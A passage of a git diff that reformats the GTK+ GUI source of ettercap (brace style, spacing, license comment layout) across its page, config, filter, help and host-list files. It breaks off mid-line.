gtk_notebook_remove_page(GTK_NOTEBOOK(notebook), num); - - detacher = g_object_get_data(G_OBJECT (child), "detach"); - if(detacher) + + detacher = g_object_get_data(G_OBJECT(child), "detach"); + if (detacher) detacher(child); } @@ -1739,59 +1725,62 @@ void gtkui_page_attach_shortcut(GtkWidget *win, void (*attacher)(void)) GdkModifierType mods; gint keyval; - accel = gtk_accel_group_new (); - gtk_window_add_accel_group(GTK_WINDOW (win), accel); + accel = gtk_accel_group_new(); + gtk_window_add_accel_group(GTK_WINDOW(win), accel); closure = g_cclosure_new(G_CALLBACK(attacher), NULL, NULL); - gtk_accelerator_parse ("D", &keyval, &mods); + gtk_accelerator_parse("D", &keyval, &mods); gtk_accel_group_connect(accel, keyval, mods, 0, closure); } /* change view and focus to the next notebook page */ -void gtkui_page_right(void) { - gtk_notebook_next_page(GTK_NOTEBOOK (notebook)); +void gtkui_page_right(void) +{ + gtk_notebook_next_page(GTK_NOTEBOOK(notebook)); } /* change view and focus to previous notebook page */ -void gtkui_page_left(void) { - gtk_notebook_prev_page(GTK_NOTEBOOK (notebook)); +void gtkui_page_left(void) +{ + gtk_notebook_prev_page(GTK_NOTEBOOK(notebook)); } /* for connecting to browse buttons, pass entry widget as callback "data" */ void gtkui_filename_browse(GtkWidget *widget, gpointer data) -{ +{ GtkWidget *dialog = NULL; gint response = 0; const char *filename = NULL; - + /* variable not used */ - (void) widget; + (void)widget; dialog = gtk_file_chooser_dialog_new("Select a file...", - NULL, GTK_FILE_CHOOSER_ACTION_OPEN, - GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, - GTK_STOCK_OK, GTK_RESPONSE_OK, - NULL); - - response = gtk_dialog_run (GTK_DIALOG (dialog)); - + NULL, GTK_FILE_CHOOSER_ACTION_OPEN, + GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, + GTK_STOCK_OK, GTK_RESPONSE_OK, + NULL); + + response = gtk_dialog_run(GTK_DIALOG(dialog)); + if (response == GTK_RESPONSE_OK) { - gtk_widget_hide(dialog); + gtk_widget_hide(dialog); filename = gtk_file_chooser_get_filename(GTK_FILE_CHOOSER(dialog)); - gtk_entry_set_text(GTK_ENTRY (data), filename); + gtk_entry_set_text(GTK_ENTRY(data), filename); } gtk_widget_destroy(dialog); } /* make sure data is valid UTF8 */ -char *gtkui_utf8_validate(char *data) { +char *gtkui_utf8_validate(char *data) +{ const gchar *end; char *unicode = NULL; unicode = data; - if(!g_utf8_validate (data, -1, &end)) { + if (!g_utf8_validate(data, -1, &end)) { /* if "end" pointer is at begining of string, we have no valid text to print */ - if(end == unicode) return(NULL); + if (end == unicode) return NULL; /* cut off the invalid part so we don't lose the whole string */ /* this shouldn't happen often */ @@ -1800,18 +1789,18 @@ char *gtkui_utf8_validate(char *data) { unicode = data; } - return(unicode); + return unicode; } -GtkWidget *gtkui_box_new(gint orientation, gint spacing, gboolean homogenious) +GtkWidget *gtkui_box_new(gint orientation, gint spacing, gboolean homogenious) { #if GTK_CHECK_VERSION(3, 0, 0) - (void) homogenious; + (void)homogenious; return gtk_box_new(orientation, spacing); #else if (orientation == GTK_ORIENTATION_VERTICAL) return gtk_vbox_new(homogenious, spacing); - else + else return gtk_hbox_new(homogenious, spacing); #endif @@ -1820,4 +1809,3 @@ GtkWidget *gtkui_box_new(gint orientation, gint spacing, gboolean homogenious) /* EOF */ // vim:ts=3:expandtab - diff --git a/src/interfaces/gtk/ec_gtk.h b/src/interfaces/gtk/ec_gtk.h index 5cb8be204..eaec652b6 100644 --- a/src/interfaces/gtk/ec_gtk.h +++ b/src/interfaces/gtk/ec_gtk.h @@ -48,7 +48,6 @@ extern void gtkui_exit(void); extern void gtkui_sniff_offline(void); extern void gtkui_sniff_live(void); - extern gboolean gtkui_iptoa_deferred(gpointer data); extern gboolean gtkui_combo_enter(GtkWidget *widget, GdkEventKey *event, gpointer data); extern void gtkui_dialog_enter(GtkWidget *widget, gpointer data); @@ -153,4 +152,3 @@ extern void gtkui_help(void); /* EOF */ // vim:ts=3:expandtab - diff --git a/src/interfaces/gtk/ec_gtk_conf.c b/src/interfaces/gtk/ec_gtk_conf.c index 2716fa06e..500ecef7b 100644 --- a/src/interfaces/gtk/ec_gtk_conf.c +++ b/src/interfaces/gtk/ec_gtk_conf.c @@ -1,23 +1,23 @@ /* - ettercap -- GTK+ GUI - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- GTK+ GUI + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -31,33 +31,36 @@ static struct gtk_conf_entry settings[] = { { NULL, 0 }, }; -void gtkui_conf_set(char *name, short value) { +void gtkui_conf_set(char *name, short value) +{ short c = 0; DEBUG_MSG("gtkui_conf_set: name=%s value=%hu", name, value); - for(c = 0; settings[c].name != NULL; c++) { - if(!strcmp(name, settings[c].name)) { - settings[c].value = value; - break; + for (c = 0; settings[c].name != NULL; c++) { + if (!strcmp(name, settings[c].name)) { + settings[c].value = value; + break; } } } -short gtkui_conf_get(char *name) { +short gtkui_conf_get(char *name) +{ unsigned short c = 0; DEBUG_MSG("gtkui_conf_get: name=%s", name); - for(c = 0; settings[c].name != NULL; c++) { - if(!strcmp(name, settings[c].name)) - return(settings[c].value); + for (c = 0; settings[c].name != NULL; c++) { + if (!strcmp(name, settings[c].name)) + return settings[c].value; } - return(0); + return 0; } -void gtkui_conf_read(void) { +void gtkui_conf_read(void) +{ FILE *fd; const char *path; char line[100], name[30]; @@ -70,12 +73,12 @@ void gtkui_conf_read(void) { DEBUG_MSG("gtkui_conf_read: %s", filename); fd = fopen(filename, "r"); - if(!fd) + if (!fd) return; - while(fgets(line, 100, fd)) { + while (fgets(line, 100, fd)) { char *p = strchr(line, '='); - if(!p) + if (!p) continue; *p = '\0'; snprintf(name, sizeof(name), "%s", line); @@ -87,18 +90,19 @@ void gtkui_conf_read(void) { fclose(fd); } -void gtkui_conf_save(void) { +void gtkui_conf_save(void) +{ FILE *fd; int c; DEBUG_MSG("gtkui_conf_save"); - if(!filename) + if (!filename) return; fd = fopen(filename, "w"); - if(fd != NULL) { - for(c = 0; settings[c].name != NULL; c++) + if (fd != NULL) { + for (c = 0; settings[c].name != NULL; c++) fprintf(fd, "%s = %hd\n", settings[c].name, settings[c].value); fclose(fd); } @@ -110,4 +114,3 @@ void gtkui_conf_save(void) { /* EOF */ // vim:ts=3:expandtab - diff --git a/src/interfaces/gtk/ec_gtk_filters.c b/src/interfaces/gtk/ec_gtk_filters.c index 5eb9891fc..76d1d0051 100644 --- a/src/interfaces/gtk/ec_gtk_filters.c +++ b/src/interfaces/gtk/ec_gtk_filters.c @@ -1,23 +1,23 @@ /* - ettercap -- GTK+ GUI - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- GTK+ GUI + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -27,7 +27,6 @@ /*******************************************/ - /* * display the file open dialog */ @@ -41,21 +40,21 @@ void gtkui_load_filter(void) DEBUG_MSG("gtk_load_filter"); dialog = gtk_file_chooser_dialog_new("Select a precompiled filter file...", - GTK_WINDOW(window), GTK_FILE_CHOOSER_ACTION_OPEN, - GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, - GTK_STOCK_OPEN, GTK_RESPONSE_OK, - NULL); + GTK_WINDOW(window), GTK_FILE_CHOOSER_ACTION_OPEN, + GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, + GTK_STOCK_OPEN, GTK_RESPONSE_OK, + NULL); gtk_file_chooser_set_current_folder(GTK_FILE_CHOOSER(dialog), path); SAFE_FREE(path); - response = gtk_dialog_run (GTK_DIALOG (dialog)); + response = gtk_dialog_run(GTK_DIALOG(dialog)); if (response == GTK_RESPONSE_OK) { gtk_widget_hide(dialog); filename = gtk_file_chooser_get_filename(GTK_FILE_CHOOSER(dialog)); - /* + /* * load the filters chain. * errors are spawned by the function itself */ @@ -63,7 +62,7 @@ void gtkui_load_filter(void) g_free(filename); } - gtk_widget_destroy (dialog); + gtk_widget_destroy(dialog); } /* @@ -74,11 +73,10 @@ void gtkui_stop_filter(void) DEBUG_MSG("gtk_stop_filter"); filter_unload(GBL_FILTERS); - + gtkui_message("Filters were unloaded"); } /* EOF */ // vim:ts=3:expandtab - diff --git a/src/interfaces/gtk/ec_gtk_help.c b/src/interfaces/gtk/ec_gtk_help.c index 432b5e514..00df1c351 100644 --- a/src/interfaces/gtk/ec_gtk_help.c +++ b/src/interfaces/gtk/ec_gtk_help.c @@ -1,23 +1,23 @@ /* - ettercap -- GTK+ GUI - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- GTK+ GUI + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #ifndef OS_WINDOWS @@ -29,9 +29,9 @@ /* globals */ -static GtkTreeSelection *selection = NULL; -static GtkListStore *liststore = NULL; -static GtkTextBuffer *textbuf = NULL; +static GtkTreeSelection *selection = NULL; +static GtkListStore *liststore = NULL; +static GtkTextBuffer *textbuf = NULL; typedef struct { char *title; @@ -57,128 +57,129 @@ void gtkui_help_selected(GtkTreeSelection *treeselection, gpointer data); void gtkui_help(void) { GtkWidget *dialog, *scrolled, *treeview, *hbox, *textview, *content_area; - GtkCellRenderer *renderer; + GtkCellRenderer *renderer; GtkTreeViewColumn *column; GtkTreeIter iter; help_pair *section; DEBUG_MSG("gtkui_help"); - dialog = gtk_dialog_new_with_buttons(EC_PROGRAM" Help", GTK_WINDOW (window), + dialog = gtk_dialog_new_with_buttons(EC_PROGRAM " Help", GTK_WINDOW(window), GTK_DIALOG_MODAL, GTK_STOCK_CLOSE, GTK_RESPONSE_CLOSE, NULL); - gtk_window_set_default_size(GTK_WINDOW (dialog), 780, 580); + gtk_window_set_default_size(GTK_WINDOW(dialog), 780, 580); #if !GTK_CHECK_VERSION(2, 22, 0) // depricated since Gtk 2.22 - gtk_dialog_set_has_separator(GTK_DIALOG (dialog), TRUE); + gtk_dialog_set_has_separator(GTK_DIALOG(dialog), TRUE); #endif - gtk_container_set_border_width(GTK_CONTAINER (dialog), 5); + gtk_container_set_border_width(GTK_CONTAINER(dialog), 5); hbox = gtkui_box_new(GTK_ORIENTATION_HORIZONTAL, 6, FALSE); content_area = gtk_dialog_get_content_area(GTK_DIALOG(dialog)); gtk_box_pack_start(GTK_BOX(content_area), hbox, TRUE, TRUE, 0); scrolled = gtk_scrolled_window_new(NULL, NULL); - gtk_scrolled_window_set_policy(GTK_SCROLLED_WINDOW (scrolled), GTK_POLICY_NEVER, GTK_POLICY_AUTOMATIC); - gtk_scrolled_window_set_shadow_type(GTK_SCROLLED_WINDOW (scrolled), GTK_SHADOW_IN); + gtk_scrolled_window_set_policy(GTK_SCROLLED_WINDOW(scrolled), GTK_POLICY_NEVER, GTK_POLICY_AUTOMATIC); + gtk_scrolled_window_set_shadow_type(GTK_SCROLLED_WINDOW(scrolled), GTK_SHADOW_IN); gtk_box_pack_start(GTK_BOX(hbox), scrolled, FALSE, FALSE, 0); gtk_widget_show(scrolled); - + treeview = gtk_tree_view_new(); - gtk_tree_view_set_headers_visible(GTK_TREE_VIEW (treeview), FALSE); - gtk_container_add(GTK_CONTAINER (scrolled), treeview); + gtk_tree_view_set_headers_visible(GTK_TREE_VIEW(treeview), FALSE); + gtk_container_add(GTK_CONTAINER(scrolled), treeview); gtk_widget_show(treeview); - selection = gtk_tree_view_get_selection (GTK_TREE_VIEW (treeview)); - gtk_tree_selection_set_mode (selection, GTK_SELECTION_SINGLE); - g_signal_connect(selection, "changed", G_CALLBACK (gtkui_help_selected), liststore); + selection = gtk_tree_view_get_selection(GTK_TREE_VIEW(treeview)); + gtk_tree_selection_set_mode(selection, GTK_SELECTION_SINGLE); + g_signal_connect(selection, "changed", G_CALLBACK(gtkui_help_selected), liststore); - renderer = gtk_cell_renderer_text_new (); - column = gtk_tree_view_column_new_with_attributes ("Contents", renderer, "text", 0, NULL); - gtk_tree_view_column_set_sort_column_id (column, 0); - gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); + renderer = gtk_cell_renderer_text_new(); + column = gtk_tree_view_column_new_with_attributes("Contents", renderer, "text", 0, NULL); + gtk_tree_view_column_set_sort_column_id(column, 0); + gtk_tree_view_append_column(GTK_TREE_VIEW(treeview), column); - liststore = gtk_list_store_new (2, G_TYPE_STRING, G_TYPE_POINTER); + liststore = gtk_list_store_new(2, G_TYPE_STRING, G_TYPE_POINTER); - for(section = help_list; section->title; section++) { - gtk_list_store_append (liststore, &iter); - gtk_list_store_set (liststore, &iter, - 0, section->title, - 1, section->file, -1); + for (section = help_list; section->title; section++) { + gtk_list_store_append(liststore, &iter); + gtk_list_store_set(liststore, &iter, + 0, section->title, + 1, section->file, -1); } - - gtk_tree_view_set_model(GTK_TREE_VIEW (treeview), GTK_TREE_MODEL (liststore)); + + gtk_tree_view_set_model(GTK_TREE_VIEW(treeview), GTK_TREE_MODEL(liststore)); /* text area */ scrolled = gtk_scrolled_window_new(NULL, NULL); - gtk_scrolled_window_set_policy(GTK_SCROLLED_WINDOW (scrolled), GTK_POLICY_AUTOMATIC, GTK_POLICY_AUTOMATIC); - gtk_scrolled_window_set_shadow_type(GTK_SCROLLED_WINDOW (scrolled), GTK_SHADOW_IN); + gtk_scrolled_window_set_policy(GTK_SCROLLED_WINDOW(scrolled), GTK_POLICY_AUTOMATIC, GTK_POLICY_AUTOMATIC); + gtk_scrolled_window_set_shadow_type(GTK_SCROLLED_WINDOW(scrolled), GTK_SHADOW_IN); gtk_box_pack_start(GTK_BOX(hbox), scrolled, TRUE, TRUE, 0); gtk_widget_show(scrolled); textview = gtk_text_view_new(); - gtk_text_view_set_editable(GTK_TEXT_VIEW (textview), FALSE); - gtk_text_view_set_cursor_visible(GTK_TEXT_VIEW (textview), FALSE); - gtk_container_add(GTK_CONTAINER (scrolled), textview); + gtk_text_view_set_editable(GTK_TEXT_VIEW(textview), FALSE); + gtk_text_view_set_cursor_visible(GTK_TEXT_VIEW(textview), FALSE); + gtk_container_add(GTK_CONTAINER(scrolled), textview); gtk_widget_show(textview); - textbuf = gtk_text_view_get_buffer(GTK_TEXT_VIEW (textview)); + textbuf = gtk_text_view_get_buffer(GTK_TEXT_VIEW(textview)); gtk_widget_show_all(hbox); - gtk_dialog_run(GTK_DIALOG (dialog)); + gtk_dialog_run(GTK_DIALOG(dialog)); - gtk_widget_destroy (dialog); + gtk_widget_destroy(dialog); } -void gtkui_help_open(char *file) { +void gtkui_help_open(char *file) +{ const char *full = "sh -c \"man %s | col -b\""; char *data = NULL, *unicode = NULL, *errors = NULL, *cmd; gboolean ret = FALSE; gint len = 0; - len = strlen(file) + strlen(full) +1; + len = strlen(file) + strlen(full) + 1; cmd = g_malloc(sizeof(char) * len); snprintf(cmd, len, full, file); // try to find the system installed man ret = g_spawn_command_line_sync(cmd, &data, &errors, NULL, NULL); g_free(cmd); - if(ret && errors && strlen(errors) > 0) { + if (ret && errors && strlen(errors) > 0) { g_free(errors); // system man not found, try non-standard man(8) installation directory full = "sh -c \"man -M " MAN_INSTALLDIR " %s | col -b\""; - len = strlen(file) + strlen(full) +1; + len = strlen(file) + strlen(full) + 1; cmd = g_malloc(sizeof(char) * len); snprintf(cmd, len, full, file); ret = g_spawn_command_line_sync(cmd, &data, &errors, NULL, NULL); g_free(cmd); - if(ret && errors && strlen(errors) > 0) { + if (ret && errors && strlen(errors) > 0) { g_free(errors); // man not found in the man installation directory, try build directory full = "sh -c \"man ./man/%s.8 | col -b\""; - len = strlen(file) + strlen(full) +1; + len = strlen(file) + strlen(full) + 1; cmd = g_malloc(sizeof(char) * len); snprintf(cmd, len, full, file); ret = g_spawn_command_line_sync(cmd, &data, &errors, NULL, NULL); g_free(cmd); - if(ret && errors && strlen(errors) > 0) { - g_free(errors); - // man(8) in the build directory not found, but etter.conf is man(5) - full = "sh -c \"man ./man/%s.5 | col -b\""; - len = strlen(file) + strlen(full) +1; - cmd = g_malloc(sizeof(char) * len); - snprintf(cmd, len, full, file); - ret = g_spawn_command_line_sync(cmd, &data, &errors, NULL, NULL); - g_free(cmd); - if(ret && errors && strlen(errors) > 0) { - ui_error(errors); - g_free(errors); - } + if (ret && errors && strlen(errors) > 0) { + g_free(errors); + // man(8) in the build directory not found, but etter.conf is man(5) + full = "sh -c \"man ./man/%s.5 | col -b\""; + len = strlen(file) + strlen(full) + 1; + cmd = g_malloc(sizeof(char) * len); + snprintf(cmd, len, full, file); + ret = g_spawn_command_line_sync(cmd, &data, &errors, NULL, NULL); + g_free(cmd); + if (ret && errors && strlen(errors) > 0) { + ui_error(errors); + g_free(errors); + } } } } /* print output of command in help window */ - if(data && ret) { + if (data && ret) { if ((unicode = gtkui_utf8_validate(data))) gtk_text_buffer_set_text(textbuf, unicode, -1); @@ -186,17 +187,18 @@ void gtkui_help_open(char *file) { } } -void gtkui_help_selected(GtkTreeSelection *treeselection, gpointer data) { +void gtkui_help_selected(GtkTreeSelection *treeselection, gpointer data) +{ GtkTreeIter iter; GtkTreeModel *model; gchar *file; /* variable not used */ - (void) data; + (void)data; - if (gtk_tree_selection_get_selected (GTK_TREE_SELECTION (treeselection), &model, &iter)) { - gtk_tree_model_get (model, &iter, 1, &file, -1); - if(!file) return; + if (gtk_tree_selection_get_selected(GTK_TREE_SELECTION(treeselection), &model, &iter)) { + gtk_tree_model_get(model, &iter, 1, &file, -1); + if (!file) return; gtkui_help_open(file); } diff --git a/src/interfaces/gtk/ec_gtk_hosts.c b/src/interfaces/gtk/ec_gtk_hosts.c index f94dc266e..ec0ea8e01 100644 --- a/src/interfaces/gtk/ec_gtk_hosts.c +++ b/src/interfaces/gtk/ec_gtk_hosts.c @@ -1,23 +1,23 @@ /* - ettercap -- GTK+ GUI - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- GTK+ GUI + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -33,9 +33,9 @@ static void gtkui_hosts_detach(GtkWidget *child); static void gtkui_hosts_attach(void); /* globals */ -static GtkWidget *hosts_window = NULL; -static GtkTreeSelection *selection = NULL; -static GtkListStore *liststore = NULL; +static GtkWidget *hosts_window = NULL; +static GtkTreeSelection *selection = NULL; +static GtkListStore *liststore = NULL; enum { HOST_DELETE, HOST_TARGET1, HOST_TARGET2 }; /*******************************************/ @@ -43,27 +43,29 @@ enum { HOST_DELETE, HOST_TARGET1, HOST_TARGET2 }; #ifdef WITH_IPV6 void toggle_ip6scan(void) { - if (GBL_OPTIONS->ip6scan) { - GBL_OPTIONS->ip6scan = 0; - } else { - GBL_OPTIONS->ip6scan = 1; - } + if (GBL_OPTIONS->ip6scan) { + GBL_OPTIONS->ip6scan = 0; + } else { + GBL_OPTIONS->ip6scan = 1; + } } + #endif /* - * scan the lan for hosts + * scan the lan for hosts */ void gtkui_scan(void) { /* no target defined... force a full scan */ if (GBL_TARGET1->all_ip && GBL_TARGET2->all_ip && GBL_TARGET1->all_ip6 && GBL_TARGET2->all_ip6 && - !GBL_TARGET1->scan_all && !GBL_TARGET2->scan_all) { + !GBL_TARGET1->scan_all && !GBL_TARGET2->scan_all) + { GBL_TARGET1->scan_all = 1; GBL_TARGET2->scan_all = 1; } - + /* perform a new scan */ build_hosts_list(); } @@ -80,14 +82,14 @@ void gtkui_load_hosts(void) DEBUG_MSG("gtk_load_hosts"); dialog = gtk_file_chooser_dialog_new("Select a hosts file...", - GTK_WINDOW(window), GTK_FILE_CHOOSER_ACTION_OPEN, - GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, - GTK_STOCK_OPEN, GTK_RESPONSE_OK, - NULL); + GTK_WINDOW(window), GTK_FILE_CHOOSER_ACTION_OPEN, + GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, + GTK_STOCK_OPEN, GTK_RESPONSE_OK, + NULL); gtk_file_chooser_set_current_folder(GTK_FILE_CHOOSER(dialog), ""); - response = gtk_dialog_run (GTK_DIALOG (dialog)); - + response = gtk_dialog_run(GTK_DIALOG(dialog)); + if (response == GTK_RESPONSE_OK) { gtk_widget_hide(dialog); filename = gtk_file_chooser_get_filename(GTK_FILE_CHOOSER(dialog)); @@ -97,17 +99,17 @@ void gtkui_load_hosts(void) g_free(filename); } - gtk_widget_destroy (dialog); + gtk_widget_destroy(dialog); } static void load_hosts(const char *file) { char *tmp; char current[PATH_MAX]; - + DEBUG_MSG("load_hosts %s", file); - - SAFE_CALLOC(tmp, strlen(file)+1, sizeof(char)); + + SAFE_CALLOC(tmp, strlen(file) + 1, sizeof(char)); /* get the current working directory */ getcwd(current, PATH_MAX); @@ -118,7 +120,7 @@ static void load_hosts(const char *file) * is not traversable with ec_uid permissions */ if (!strncmp(current, file, strlen(current))) - snprintf(tmp, strlen(file)+1,"./%s", file+strlen(current)); + snprintf(tmp, strlen(file) + 1, "./%s", file + strlen(current)); else snprintf(tmp, strlen(file), "%s", file); @@ -129,9 +131,9 @@ static void load_hosts(const char *file) /* load the hosts list */ scan_load_hosts(tmp); - + SAFE_FREE(tmp); - + gtkui_host_list(); } @@ -143,36 +145,35 @@ void gtkui_save_hosts(void) #define FILE_LEN 40 GtkWidget *dialog; gchar *filename; - + DEBUG_MSG("gtk_save_hosts"); SAFE_FREE(GBL_OPTIONS->hostsfile); SAFE_CALLOC(GBL_OPTIONS->hostsfile, FILE_LEN, sizeof(char)); dialog = gtk_file_chooser_dialog_new("Save hosts to file...", - GTK_WINDOW(window), GTK_FILE_CHOOSER_ACTION_SAVE, - GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, - GTK_STOCK_SAVE, GTK_RESPONSE_OK, - NULL); + GTK_WINDOW(window), GTK_FILE_CHOOSER_ACTION_SAVE, + GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, + GTK_STOCK_SAVE, GTK_RESPONSE_OK, + NULL); gtk_file_chooser_set_current_folder(GTK_FILE_CHOOSER(dialog), "."); if (gtk_dialog_run(GTK_DIALOG(dialog)) == GTK_RESPONSE_OK) { - gtk_widget_hide(dialog); - filename = gtk_file_chooser_get_filename(GTK_FILE_CHOOSER(dialog)); - gtk_widget_destroy(dialog); - memcpy(GBL_OPTIONS->hostsfile, filename, FILE_LEN); - g_free(filename); - save_hosts(); + gtk_widget_hide(dialog); + filename = gtk_file_chooser_get_filename(GTK_FILE_CHOOSER(dialog)); + gtk_widget_destroy(dialog); + memcpy(GBL_OPTIONS->hostsfile, filename, FILE_LEN); + g_free(filename); + save_hosts(); } else { - gtk_widget_destroy(dialog); + gtk_widget_destroy(dialog); } - } static void save_hosts(void) { FILE *f; - + /* check if the file is writeable */ f = fopen(GBL_OPTIONS->hostsfile, "w"); if (f == NULL) { @@ -180,21 +181,21 @@ static void save_hosts(void) SAFE_FREE(GBL_OPTIONS->hostsfile); return; } - + /* if ok, delete it */ fclose(f); unlink(GBL_OPTIONS->hostsfile); - + scan_save_hosts(GBL_OPTIONS->hostsfile); } /* - * display the host list + * display the host list */ void gtkui_host_list(void) { GtkWidget *scrolled, *treeview, *vbox, *hbox, *button, *item, *context_menu; - GtkCellRenderer *renderer; + GtkCellRenderer *renderer; GtkTreeViewColumn *column; static gint host_delete = HOST_DELETE; static gint host_target1 = HOST_TARGET1; @@ -202,71 +203,71 @@ void gtkui_host_list(void) DEBUG_MSG("gtk_host_list"); - if(hosts_window) { - if(GTK_IS_WINDOW (hosts_window)) - gtk_window_present(GTK_WINDOW (hosts_window)); + if (hosts_window) { + if (GTK_IS_WINDOW(hosts_window)) + gtk_window_present(GTK_WINDOW(hosts_window)); else gtkui_page_present(hosts_window); return; } - + hosts_window = gtkui_page_new("Host List", >kui_hosts_destroy, >kui_hosts_detach); vbox = gtkui_box_new(GTK_ORIENTATION_VERTICAL, 0, FALSE); - gtk_container_add(GTK_CONTAINER (hosts_window), vbox); + gtk_container_add(GTK_CONTAINER(hosts_window), vbox); gtk_widget_show(vbox); scrolled = gtk_scrolled_window_new(NULL, NULL); - gtk_scrolled_window_set_policy(GTK_SCROLLED_WINDOW (scrolled), GTK_POLICY_AUTOMATIC, GTK_POLICY_AUTOMATIC); - gtk_scrolled_window_set_shadow_type(GTK_SCROLLED_WINDOW (scrolled), GTK_SHADOW_IN); + gtk_scrolled_window_set_policy(GTK_SCROLLED_WINDOW(scrolled), GTK_POLICY_AUTOMATIC, GTK_POLICY_AUTOMATIC); + gtk_scrolled_window_set_shadow_type(GTK_SCROLLED_WINDOW(scrolled), GTK_SHADOW_IN); gtk_box_pack_start(GTK_BOX(vbox), scrolled, TRUE, TRUE, 0); gtk_widget_show(scrolled); treeview = gtk_tree_view_new(); - gtk_container_add(GTK_CONTAINER (scrolled), treeview); + gtk_container_add(GTK_CONTAINER(scrolled), treeview); gtk_widget_show(treeview); - selection = gtk_tree_view_get_selection (GTK_TREE_VIEW (treeview)); - gtk_tree_selection_set_mode (selection, GTK_SELECTION_MULTIPLE); + selection = gtk_tree_view_get_selection(GTK_TREE_VIEW(treeview)); + gtk_tree_selection_set_mode(selection, GTK_SELECTION_MULTIPLE); - renderer = gtk_cell_renderer_text_new (); - column = gtk_tree_view_column_new_with_attributes ("IP Address", renderer, "text", 0, NULL); - gtk_tree_view_column_set_sort_column_id (column, 0); - gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); + renderer = gtk_cell_renderer_text_new(); + column = gtk_tree_view_column_new_with_attributes("IP Address", renderer, "text", 0, NULL); + gtk_tree_view_column_set_sort_column_id(column, 0); + gtk_tree_view_append_column(GTK_TREE_VIEW(treeview), column); - renderer = gtk_cell_renderer_text_new (); - column = gtk_tree_view_column_new_with_attributes ("MAC Address", renderer, "text", 1, NULL); - gtk_tree_view_column_set_sort_column_id (column, 1); - gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); + renderer = gtk_cell_renderer_text_new(); + column = gtk_tree_view_column_new_with_attributes("MAC Address", renderer, "text", 1, NULL); + 